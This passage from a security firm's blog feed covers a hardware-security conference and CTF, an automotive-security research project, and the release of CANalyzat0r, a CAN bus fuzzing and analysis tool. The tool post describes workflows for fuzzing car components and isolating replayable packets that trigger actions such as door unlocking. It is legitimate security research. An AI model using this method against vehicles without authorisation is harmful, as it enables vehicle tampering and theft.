class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://media.hardwear.io/there-goes-your-pin-exploiting-smartphone-sensor-fusion/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Video)&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/p>
&lt;p>A highlight of the second Day talks was in my opinion the presentation of Andrew Tierney also known as &amp;ldquo;Ask Cybergibbons!&amp;rdquo; on twitter presenting the timeline of the &amp;ldquo;Unhackable&amp;rdquo; bitcoin hardware wallet sold by bitfi and how the correspondence with the vendor escalated. This finally led to a broken device and also bitfi winning the &amp;ldquo;Pwnie Award for the Lamest Vendor Response&amp;rdquo;. &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://media.hardwear.io/bitfi-you-wouldnt-steal-my-cloins/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">(Link&lt;/span>
&lt;/a>&lt;a
href="https://media.hardwear.io/bitfi-you-wouldnt-steal-my-cloins/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://media.hardwear.io/bitfi-you-wouldnt-steal-my-cloins/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Talk&lt;/span>
&lt;/a>&lt;a
href="https://media.hardwear.io/bitfi-you-wouldnt-steal-my-cloins/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://media.hardwear.io/bitfi-you-wouldnt-steal-my-cloins/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Video)&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/p>
&lt;h2 id="the-ctf">The CTF&lt;/h2>
&lt;p>The quality of the presentations was good, but another option on the conference sparked our interest, the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://hardwear.io/the-hague-2018/ctf.php#ctf#ctf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Hardware&lt;/span>
&lt;/a>&lt;a
href="https://hardwear.io/the-hague-2018/ctf.php#ctf#ctf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">CTF&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
by Quarkslab. There were 21 challenges with different level of difficulty related to hardware hacking, which wanted to be solved. For example a smart lock with NFC needed to be opened. Or another challenge was to reverse engineer the code of microchips to find an exploit and capture the FLAGs. Another example was the sniffing of the communication between a Mifare card and a reader which has to be cracked afterwards. But there were also also non-coding challenges, like microsoldering a tiny chip to another circuit or 3D modeling a key, printing it with plastic and then open a lock of a box to gain the FLAG.&lt;/p>
&lt;p>Our team &amp;ldquo;Void&amp;rdquo; managed to score the 2nd place in a nerve-racking race for the points in the end. All in all the CTF was great fun and also involved acquiring some new skills and training old ones.&lt;/p>
&lt;figure>
&lt;div class="videoOverlay videoOverlayPlay">
&lt;video id="mediavideoHardwearIO2018SmartLockHack" class="videoInsert">
&lt;source src="/media/video/HardwearIO2018/SmartLockHack.webm" type='video/webm;codecs="vp8, vorbis"'/>
&lt;source src="/media/video/HardwearIO2018/SmartLockHack.mp4" type='video/mp4;codecs="avc1.42E01E, mp4a.40.2"'/>
Your browser does not support the video tag.
&lt;/video>
&lt;/div>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Opening a smart lock in 2 seconds [3].
&lt;/figcaption>
&lt;/figure>
&lt;script>
document.addEventListener("DOMContentLoaded", function() {
const id = "mediavideoHardwearIO2018SmartLockHack";
const video = document.getElementById(id);
const videoOverlay = video.parentElement;
const classList = videoOverlay.classList;
let isPaused = true;
videoOverlay.addEventListener("click", () => {
if (video.paused) {
video.play();
isPaused = false;
classList.add("videoOverlayPause");
classList.remove("videoOverlayPlay", "videoOverlayReload")
} else {
isPaused = true;
video.pause();
classList.add("videoOverlayPlay");
classList.remove("videoOverlayPause", "videoOverlayReload")
}
});
video.addEventListener("ended", () => {
isPaused = true;
classList.add("videoOverlayReload");
classList.remove("videoOverlayPause", "videoOverlayPlay")
});
video.addEventListener("seeking", () => {
classList.remove("videoOverlayReload");
if (isPaused) {
classList.add("videoOverlayPlay");
classList.remove("videoOverlayPause");
} else {
classList.add("videoOverlayPause");
classList.remove("videoOverlayPlay");
}
});
});
&lt;/script>
&lt;p>We are looking forward to visit the hardwear.io conference next year again.&lt;/p>
&lt;h3 id="references">References&lt;/h3>
&lt;ul>
&lt;li>[0] Picture with permission by &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://hardwear.io/images/hardwear-home-bg.jpg"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">hardwear.io&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>[1] Picture with permission by hardwear.io &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://twitter.com/hardwear_io/status/1039426618182303744"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">@hardwear_io&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>[2] Picture with permission by Michael Wolf&lt;/li>
&lt;li>[3] Video with permission by Slawomir Jasek (smartlockpicking.com) &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://twitter.com/slawekja/status/1040177919153397760"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">@slawekja&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul></description></item><item><title>SCHUTZWERK sponsors hardwear.io 2018</title><link>https://www.schutzwerk.com/en/blog/hardwear.io-2018/</link><author>SCHUTZWERK GmbH</author><pubDate>Thu, 30 Aug 2018 13:00:00 +0100</pubDate><category>news</category><category>sponsor</category><category>event</category><category>embedded security</category><category>research</category><description>
&lt;p>hardwear.io will take place in Den Haag/Netherlands on 11th-13th of September 2018. SCHUTZW­ERK GmbH is an official sponsor of the event.&lt;/p>
&lt;p>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="http://hardwear.io/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">hardwear.io&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
Security Conference is a platform for hardware and security community where researchers showcase and discuss their innovative research on attacking and defending hardware. The conference will present and discuss current topics of hardware security, for example concerning automotive and IoT sectors.&lt;/p>
&lt;p>SCHUTZWERK regularly conducts technical assessments and security consulting in the area of embedded systems and IoT, see also &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Embedded&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Systems&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Assessment&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
. We will take part with several participants and look forward to interesting discussions.&lt;/p></description></item><item><title>Powerful IT security for the car of the future</title><link>https://www.schutzwerk.com/en/blog/starke-it-sicherheit-fuer-das-auto-der-zukunft/</link><author>SCHUTZWERK GmbH</author><pubDate>Fri, 25 May 2018 13:00:00 +0100</pubDate><category>news</category><category>secforcars</category><category>automotive security</category><category>research</category><category>cooperation</category><description>
&lt;p>Munich, Germany &amp;ndash; 25 May 2018 &amp;ndash; The more electronics steer, accelerate and brake cars, the more important it is to protect them against cyber-attacks. That is why 15 partners from industry and academia will work together over the next three years on new approaches to IT security in self-driving cars. The joint project goes by the name Security For Connected, Autonomous Cars (SecForCARs) and has funding of €7.2 million from the German Federal Ministry of Education and Research. Infineon is leading the project.&lt;/p>
&lt;p>&lt;em>Joint press release by AUDI AG, ESCRYPT GmbH, the Fraunhofer Institute for Applied and Integrated Security (AISEC), the Fraunhofer Institute for Mechatronic Systems Design (IEM), the Free University of Berlin, Karlsruhe University of Applied Sciences, Infineon Technologies AG, Itemis AG, Mixed Mode GmbH, Robert Bosch GmbH, SCHUTZWERK GmbH, the Technical University of Braunschweig, the Technical University of Munich, the University of Ulm and Volkswagen AG (associate partner).&lt;/em>&lt;/p>
&lt;p>Vehicles already offer diverse communication interfaces and more and more automated functions, such as distance and lane-keeping assist systems.
At the same time, the automotive industry is working on completely connected and automated models whose electronics architecture will differ greatly from that of existing vehicles.
It will have to record a lot more data and process it reliably in a far shorter time.
And it will be designed to directly control all driving functions, which also increases security requirements.&lt;/p>
&lt;p>With its focus on self-driving cars, SecForCARs stands out clearly from previous research initiatives relating to IT security in automobiles.
Connected cars have the potential to offer many advantages in autonomous driving.
For example, they improve safety when they warn each other about road damage or black ice.
Yet the on-board electronics also need to be protected against external attacks.
To this end, the project partners aim to explore and evaluate innovative mechanisms.&lt;/p>
&lt;p>SecForCARs is looking at a wide range of questions: How can connected and autonomous cars be developed so as to be more secure?
How can such vehicles be tested for security gaps?
How can car makers and technology partners ensure that gaps that arise later are eliminated as quickly as possible? &lt;/p>
&lt;p>The project brings together experts from the fields of IT security and autonomous driving. The car makers involved are Volkswagen AG and AUDI AG. The supplier industry is represented by Infineon Technologies AG and Robert Bosch GmbH.
ESCRYPT GmbH, Itemis AG, Mixed Mode GmbH and SCHUTZWERK GmbH represent tool manufacturers and the security industry.
Selected research institutes and universities ensure that the latest results from research are transferred to the project.
They include the University of Ulm, the Technical Universities of Braunschweig and Munich, the Free University of Berlin, the Karlsruhe University of Applied Sciences, and the Fraunhofer Institutes AISEC and IEM. SecForCARs will run until March 2021.&lt;/p>
&lt;h2 id="schutzwerk-in-the-joint-project-secforcars">SCHUTZWERK in the joint project SecForCARs&lt;/h2>
&lt;p>SCHUTZWERK GmbH contributes its expertise in the field of technical IT security analyses of vehicles, vulnerability disclosure, ISMS, and risk management to the project.
SCHUTZWERK is particularly involved in the development of new methods and tools for the security assessment of autonomous vehicles.&lt;/p>
&lt;p>As a consulting company with core competence for independent security testing, SCHUTZWERK regularly conducts IT security assessments of vehicles and other embedded systems (e.g. IoT devices or machines in the Industry 4.0 space).
In addition to conceptual and technical testing methods, simulated hacker attacks, so-called penetration tests, are also used. &lt;/p></description></item><item><title>Canalyzat0r</title><link>https://www.schutzwerk.com/en/blog/canalyzat0r/</link><author>Philipp Schmied</author><pubDate>Wed, 14 Feb 2018 08:56:10 +0100</pubDate><category>embedded security</category><category>toolrelease</category><category>automotive security</category><category>fuzzing</category><description>
&lt;p>&lt;em>Disclaimer: The elaboration and software project associated to this subject are results of a Bachelor&amp;rsquo;s thesis created at SCHUTZWERK in collaboration with Aalen University by Philipp Schmied.&lt;/em>&lt;/p>
&lt;p>While car manufacturers steadily refine and advance vehicle systems,
requirements of the underlying networks increase even further. Striving
for smart cars, a fast-growing amount of components are interconnected
within a single car. This results in specialized and often proprietary
car protocols built based on standardized technology. Most of these
protocols are based on bus protocols: All network nodes within such a
bus network are connected using a single shared data link. This
technology provides a feasible way of real time communication between
several security and comfort systems. However, often &lt;strong>no or
insufficient authentication and encryption or other security
mechanisms&lt;/strong> can be found in today&amp;rsquo;s car systems. As described previously, most of the interchanged data structures on a car network
bus, including associated systems, are proprietary. For this reason,
there&amp;rsquo;s a need for open source, extensible, easy to use and publicly
available software to analyze the security state of such networks and
protocols.&lt;/p>
&lt;h2 id="can-bus">CAN bus&lt;/h2>
&lt;p>Starting from mid-1980, the CAN bus is being implemented into vehicles.
Still to this day, many components and proprietary protocols rely on the
CAN bus. While analyzing today&amp;rsquo;s car protocols, we focused on this
technology &amp;ndash; however, there exist multiple additional technologies like
FlexRay and automotive Ethernet which will most likely gain an
increased relevance and also need to be analyzed in the future.&lt;/p>
&lt;p>CAN network packets are defined by the associated packet format, which
looks as follows [1]:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/canalyzat0r/CANalyzat0r-can-frame_hua8f1ab1a56451a06f1f6ee054ccf2e72_11218_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/canalyzat0r/CANalyzat0r-can-frame_hua8f1ab1a56451a06f1f6ee054ccf2e72_11218_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/canalyzat0r/CANalyzat0r-can-frame_hua8f1ab1a56451a06f1f6ee054ccf2e72_11218_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/canalyzat0r/CANalyzat0r-can-frame.png"
width="800"
height="102"
alt="CAN packet format"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
CAN packet format&lt;/figcaption>
&lt;/figure>
&lt;ul>
&lt;li>Arbitration ID: Describes the meaning of the data segments&lt;/li>
&lt;li>Control: Flags to manage packet transport&lt;/li>
&lt;li>Data: Payload of the packet with up to eight bytes of data&lt;/li>
&lt;li>CRC: Checksum&lt;/li>
&lt;/ul>
&lt;p>A general goal of analyzing car protocols is to reverse engineer the CAN
matrix. This data structure maps CAN arbitration IDs and corresponding
payloads to specific actions. An example for this is the identification
of a CAN packet which controls the acceleration of a vehicle.&lt;/p>
&lt;p>Depending on intended goals, the CAN bus can be accessed in two ways:&lt;/p>
&lt;ol>
&lt;li>OBD-II interface: Since 2004, this diagnostic interface is mandatory
for each car in the European Union. Most of the time, this port can be
accessed from the driver&amp;rsquo;s seat. Inbound packets can and most likely
will be filtered by the diagnostic gateway, so fuzzing from this
interface can be of limited success rate.&lt;/li>
&lt;li>Interacting with bus wires: It&amp;rsquo;s possible to directly splice analysis
hardware into a CAN bus. This way, filtering can be circumvented and
otherwise isolated bus segments can be analyzed.&lt;/li>
&lt;/ol>
&lt;h2 id="introducing-the-canalyzat0r">Introducing the CANalyzat0r&lt;/h2>
&lt;p>This Python software project is built from scratch with new ideas for
analysis mechanisms. It&amp;rsquo;s released on &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.github.com/schutzwerk/CANalyzat0r"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">GitHub&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
and bundles many features of other CAN tools
in one place. Also, it&amp;rsquo;s GUI based and organized with one tab per
specific analysis task:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/canalyzat0r/CANalyzat0r-mainTab_hu07e206ab6948519f1d0681b9270da564_62937_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/canalyzat0r/CANalyzat0r-mainTab_hu07e206ab6948519f1d0681b9270da564_62937_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/canalyzat0r/CANalyzat0r-mainTab_hu07e206ab6948519f1d0681b9270da564_62937_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/canalyzat0r/CANalyzat0r-mainTab.png"
width="1200"
height="752"
alt="Main Tab"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Main Tab&lt;/figcaption>
&lt;/figure>
&lt;p>Most of the existing open source CAN analysis software makes use of
SocketCAN. This consists of a bundle of kernel modules that abstract CAN
communication in such a way that CAN interfaces can be used similarly to
conventional network interfaces on the Linux operating system. So does
CANalyzat0r, including many additional features:&lt;/p>
&lt;ul>
&lt;li>Manage interface configuration (automatically load kernel modules,
manage physical and virtual SocketCAN devices)&lt;/li>
&lt;li>Multi interface support: Sniff while sending data on a separate
SocketCAN interface&lt;/li>
&lt;li>Manage your work in projects. You can also import and export them in
human readable/editable JSON format and track data using a version
control system.&lt;/li>
&lt;li>Transparent logging&lt;/li>
&lt;li>Graphical sniffing&lt;/li>
&lt;li>Manage findings, dumps and known packets per project:&lt;/li>
&lt;/ul>
&lt;figure>
&lt;div class="videoOverlay videoOverlayPlay">
&lt;video id="mediavideoCANalyzat0rCANalyzat0r-knownPackets" class="videoInsert">
&lt;source src="/media/video/CANalyzat0r/CANalyzat0r-knownPackets.webm" type='video/webm;codecs="vp8, vorbis"'/>
&lt;source src="/media/video/CANalyzat0r/CANalyzat0r-knownPackets.mp4" type='video/mp4;codecs="avc1.42E01E, mp4a.40.2"'/>
Your browser does not support the video tag.
&lt;/video>
&lt;/div>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
CANalyzat0r: Manage known packets per project
&lt;/figcaption>
&lt;/figure>
&lt;script>
document.addEventListener("DOMContentLoaded", function() {
const id = "mediavideoCANalyzat0rCANalyzat0r-knownPackets";
const video = document.getElementById(id);
const videoOverlay = video.parentElement;
const classList = videoOverlay.classList;
let isPaused = true;
videoOverlay.addEventListener("click", () => {
if (video.paused) {
video.play();
isPaused = false;
classList.add("videoOverlayPause");
classList.remove("videoOverlayPlay", "videoOverlayReload")
} else {
isPaused = true;
video.pause();
classList.add("videoOverlayPlay");
classList.remove("videoOverlayPause", "videoOverlayReload")
}
});
video.addEventListener("ended", () => {
isPaused = true;
classList.add("videoOverlayReload");
classList.remove("videoOverlayPause", "videoOverlayPlay")
});
video.addEventListener("seeking", () => {
classList.remove("videoOverlayReload");
if (isPaused) {
classList.add("videoOverlayPlay");
classList.remove("videoOverlayPause");
} else {
classList.add("videoOverlayPause");
classList.remove("videoOverlayPlay");
}
});
});
&lt;/script>
&lt;ul>
&lt;li>Easy copy and paste between CANalyzat0r modules. Also, it&amp;rsquo;s possible
to paste text based SocketCAN files directly into the GUI to import
existing packet dumps:&lt;/li>
&lt;/ul>
&lt;figure>
&lt;div class="videoOverlay videoOverlayPlay">
&lt;video id="mediavideoCANalyzat0rCANalyzat0r-import" class="videoInsert">
&lt;source src="/media/video/CANalyzat0r/CANalyzat0r-import.webm" type='video/webm;codecs="vp8, vorbis"'/>
&lt;source src="/media/video/CANalyzat0r/CANalyzat0r-import.mp4" type='video/mp4;codecs="avc1.42E01E, mp4a.40.2"'/>
Your browser does not support the video tag.
&lt;/video>
&lt;/div>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
CANalyzat0r: Pasting packets
&lt;/figcaption>
&lt;/figure>
&lt;script>
document.addEventListener("DOMContentLoaded", function() {
const id = "mediavideoCANalyzat0rCANalyzat0r-import";
const video = document.getElementById(id);
const videoOverlay = video.parentElement;
const classList = videoOverlay.classList;
let isPaused = true;
videoOverlay.addEventListener("click", () => {
if (video.paused) {
video.play();
isPaused = false;
classList.add("videoOverlayPause");
classList.remove("videoOverlayPlay", "videoOverlayReload")
} else {
isPaused = true;
video.pause();
classList.add("videoOverlayPlay");
classList.remove("videoOverlayPause", "videoOverlayReload")
}
});
video.addEventListener("ended", () => {
isPaused = true;
classList.add("videoOverlayReload");
classList.remove("videoOverlayPause", "videoOverlayPlay")
});
video.addEventListener("seeking", () => {
classList.remove("videoOverlayReload");
if (isPaused) {
classList.add("videoOverlayPlay");
classList.remove("videoOverlayPause");
} else {
classList.add("videoOverlayPause");
classList.remove("videoOverlayPlay");
}
});
});
&lt;/script>
&lt;ul>
&lt;li>Threaded Sending, Fuzzing and Sniffing&lt;/li>
&lt;li>Ignore packets when sniffing - Automatically filter unique packets by
ID or data and ID&lt;/li>
&lt;li>Compare dumps&lt;/li>
&lt;li>Allows setting up complex setups using only one window&lt;/li>
&lt;li>Clean organization in tabs for each analysis task&lt;/li>
&lt;li>Advanced packet filtering using an interactive packet replay approach&lt;/li>
&lt;li>Search for action specific packets using background noise filtering&lt;/li>
&lt;li>SQLite support&lt;/li>
&lt;li>PDF and HTML code documentation&lt;/li>
&lt;/ul>
&lt;p>CANalyzat0r is modular and extensible &amp;ndash; using the provided
documentation it&amp;rsquo;s possible to implement new features which integrate
into the existing GUI and work flow.&lt;/p>
&lt;h3 id="usage-examples">Usage Examples&lt;/h3>
&lt;h4 id="simultaneous-sniffing-and-fuzzing">Simultaneous sniffing and fuzzing&lt;/h4>
&lt;p>In order to analyze functionalities of proprietary car components,
fuzzing mostly acts as a starting point. Using this approach, CAN nodes
can be examined to uncover potential security risks. The CANalyzat0r can
be used to quickly setup an efficient fuzzing environment:&lt;/p>
&lt;figure>
&lt;div class="videoOverlay videoOverlayPlay">
&lt;video id="mediavideoCANalyzat0rCANalyzat0r-fuzzer-sniffer" class="videoInsert">
&lt;source src="/media/video/CANalyzat0r/CANalyzat0r-fuzzer-sniffer.webm" type='video/webm;codecs="vp8, vorbis"'/>
&lt;source src="/media/video/CANalyzat0r/CANalyzat0r-fuzzer-sniffer.mp4" type='video/mp4;codecs="avc1.42E01E, mp4a.40.2"'/>
Your browser does not support the video tag.
&lt;/video>
&lt;/div>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
CANalyzat0r: Integrated fuzzer and sniffer
&lt;/figcaption>
&lt;/figure>
&lt;script>
document.addEventListener("DOMContentLoaded", function() {
const id = "mediavideoCANalyzat0rCANalyzat0r-fuzzer-sniffer";
const video = document.getElementById(id);
const videoOverlay = video.parentElement;
const classList = videoOverlay.classList;
let isPaused = true;
videoOverlay.addEventListener("click", () => {
if (video.paused) {
video.play();
isPaused = false;
classList.add("videoOverlayPause");
classList.remove("videoOverlayPlay", "videoOverlayReload")
} else {
isPaused = true;
video.pause();
classList.add("videoOverlayPlay");
classList.remove("videoOverlayPause", "videoOverlayReload")
}
});
video.addEventListener("ended", () => {
isPaused = true;
classList.add("videoOverlayReload");
classList.remove("videoOverlayPause", "videoOverlayPlay")
});
video.addEventListener("seeking", () => {
classList.remove("videoOverlayReload");
if (isPaused) {
classList.add("videoOverlayPlay");
classList.remove("videoOverlayPause");
} else {
classList.add("videoOverlayPause");
classList.remove("videoOverlayPlay");
}
});
});
&lt;/script>
&lt;ol>
&lt;li>Connect the CANalyzat0r to the CAN node via SocketCAN and the desired
bit rate.&lt;/li>
&lt;li>In the fuzzer tab, choose the desired options: For example, it&amp;rsquo;s
possible to define a fuzzing mask and a desired packet length range
which will be applied to all randomly generated CAN packets:&lt;/li>
&lt;/ol>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th style="text-align:center">Resulting payload&lt;/th>
&lt;th style="text-align:center">Payload mask&lt;/th>
&lt;th style="text-align:center">Length minimum&lt;/th>
&lt;th style="text-align:center">Length maximum&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td style="text-align:center">12 AA 34 56 BB 13&lt;/td>
&lt;td style="text-align:center">XX AA XX XX BB 13 XX XX&lt;/td>
&lt;td style="text-align:center">0&lt;/td>
&lt;td style="text-align:center">6&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:center">-&lt;/td>
&lt;td style="text-align:center">XX AA XX XX BB 13 XX XX&lt;/td>
&lt;td style="text-align:center">0&lt;/td>
&lt;td style="text-align:center">6&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:center">12 AA 34 88&lt;/td>
&lt;td style="text-align:center">XX AA XX XX BB 13 37 DD&lt;/td>
&lt;td style="text-align:center">2&lt;/td>
&lt;td style="text-align:center">4&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>Also, CAN Arbitration IDs can be fixed while payloads remain variable. Here&amp;rsquo;s an
example:&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th style="text-align:center">Resulting CAN ID&lt;/th>
&lt;th style="text-align:center">ID mask&lt;/th>
&lt;th style="text-align:center">Fuzzing mode&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td style="text-align:center">BA4&lt;/td>
&lt;td style="text-align:center">XAX&lt;/td>
&lt;td style="text-align:center">User defined&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:center">832&lt;/td>
&lt;td style="text-align:center">XXX&lt;/td>
&lt;td style="text-align:center">User defined&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:center">563&lt;/td>
&lt;td style="text-align:center">-&lt;/td>
&lt;td style="text-align:center">11 bit IDs&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>While random packets are being generated and sent over the CAN bus, it&amp;rsquo;s
possible to use the sniffer tab to trace answer packets. Sniffed packet
dumps can be saved, replayed or filtered in further steps.&lt;/p>
&lt;h4 id="semi-automated-packet-filtering">Semi-automated packet filtering&lt;/h4>
&lt;p>To exploit and check for packet replay vulnerabilities, it&amp;rsquo;s often
necessary to capture packet dumps while executing a certain task on a
car, for example unlocking the doors using the remote control. Once such a
packet dump that causes a CAN node to execute the desired task has been
captured, it&amp;rsquo;s mostly desired to minimize such a set of packets. To gain
the desired effect on a car&amp;rsquo;s component, it&amp;rsquo;s not required to replay
thousands of packets every time. In fact, desired actions can usually be
performed using only a few particular CAN packets.&lt;/p>
&lt;p>For this task, the filtering tab of the CANalyzat0r can be used:
&lt;figure>
&lt;div class="videoOverlay videoOverlayPlay">
&lt;video id="mediavideoCANalyzat0rCANalyzat0r-filter" class="videoInsert">
&lt;source src="/media/video/CANalyzat0r/CANalyzat0r-filter.webm" type='video/webm;codecs="vp8, vorbis"'/>
&lt;source src="/media/video/CANalyzat0r/CANalyzat0r-filter.mp4" type='video/mp4;codecs="avc1.42E01E, mp4a.40.2"'/>
Your browser does not support the video tag.
&lt;/video>
&lt;/div>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
CANalyzat0r: Filtering packets
&lt;/figcaption>
&lt;/figure>
&lt;script>
document.addEventListener("DOMContentLoaded", function() {
const id = "mediavideoCANalyzat0rCANalyzat0r-filter";
const video = document.getElementById(id);
const videoOverlay = video.parentElement;
const classList = videoOverlay.classList;
let isPaused = true;
videoOverlay.addEventListener("click", () => {
if (video.paused) {
video.play();
isPaused = false;
classList.add("videoOverlayPause");
classList.remove("videoOverlayPlay", "videoOverlayReload")
} else {
isPaused = true;
video.pause();
classList.add("videoOverlayPlay");
classList.remove("videoOverlayPause", "videoOverlayReload")
}
});
video.addEventListener("ended", () => {
isPaused = true;
classList.add("videoOverlayReload");
classList.remove("videoOverlayPause", "videoOverlayPlay")
});
video.addEventListener("seeking", () => {
classList.remove("videoOverlayReload");
if (isPaused) {
classList.add("videoOverlayPlay");
classList.remove("videoOverlayPause");
} else {
classList.add("videoOverlayPause");
classList.remove("videoOverlayPlay");
}
});
});
&lt;/script>
&lt;/p>
&lt;ol>
&lt;li>Capture &amp;ldquo;noise&amp;rdquo; packets: While the desired action is &lt;strong>not&lt;/strong> being executed by the CAN component, packets that pass the bus will be captured. These packets will be useful in further analysis steps.&lt;/li>
&lt;li>Record an arbitrary amount of packet sets while executing the task once per packet set.&lt;/li>
&lt;li>Filtering: First, all previously captured noise packets will be removed from each packet set. After that, only packets which occur in &lt;em>every&lt;/em> packet set will be shown. This resulting set of packets causes the CAN node to perform the desired task while being heavily minimized.&lt;/li>
&lt;/ol>
&lt;h4 id="packet-search-using-a-binary-tree-search">Packet search using a binary tree search&lt;/h4>
&lt;p>Large packet dumps often are the result of fuzzing attempts. To assist
in filtering relevant packets, the searcher tab of the described toolkit
can be used:&lt;/p>
&lt;ol>
&lt;li>Load the desired packet dump by using either copy-and-paste
mechanisms of the CANalyzat0r tabs, text based packet dumps or database
queries.&lt;/li>
&lt;li>After connecting the CANalyzat0r to the target vehicle, start the
searching process.&lt;/li>
&lt;li>The loaded packet set will be split into small chunks, which are
replayed one after another. After one chunk has been replayed, the tool
asks the user whether the desired action has been executed by the car.
On success, the previously replayed packet set acts as the new base data
set and the searching process restarts from the beginning.&lt;/li>
&lt;li>If no chunk generates the desired output, randomization will be used.
This results in shuffled packet chunks which will be used for further
retries. Using this approach, actions which require multiple packets to
be sent can be identified.&lt;/li>
&lt;/ol>
&lt;h4 id="database-management">Database management&lt;/h4>
&lt;p>Once packet dumps for specific results have been identified, they can be
saved to the SQLite based database with an associated description. This
allows a centralized finding management. Using the JSON based database
import and export functionality, database states can be version
controlled. It&amp;rsquo;s also possible to work on multiple CANalyzat0r projects
simultaneously by creating separate projects.&lt;/p>
&lt;h3 id="easy-setup-using-docker">Easy setup using docker&lt;/h3>
&lt;p>To get started quickly, the provided docker image can be used. No
dependencies have to be present on the host system and the CANalyzat0r
is up and ready using only a few commands. Please refer to the docker
folder within the CANalyzat0r repository for additional information.&lt;/p>
&lt;h2 id="references">References&lt;/h2>
&lt;ul>
&lt;li>[1] &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://upload.wikimedia.org/wikipedia/commons/5/5e/CAN-Bus-frame_in_base_format_without_stuffbits.svg"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">CAN&lt;/span>
&lt;/a>&lt;a
href="https://upload.wikimedia.org/wikipedia/commons/5/5e/CAN-Bus-frame_in_base_format_without_stuffbits.svg"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">packet&lt;/span>
&lt;/a>&lt;a
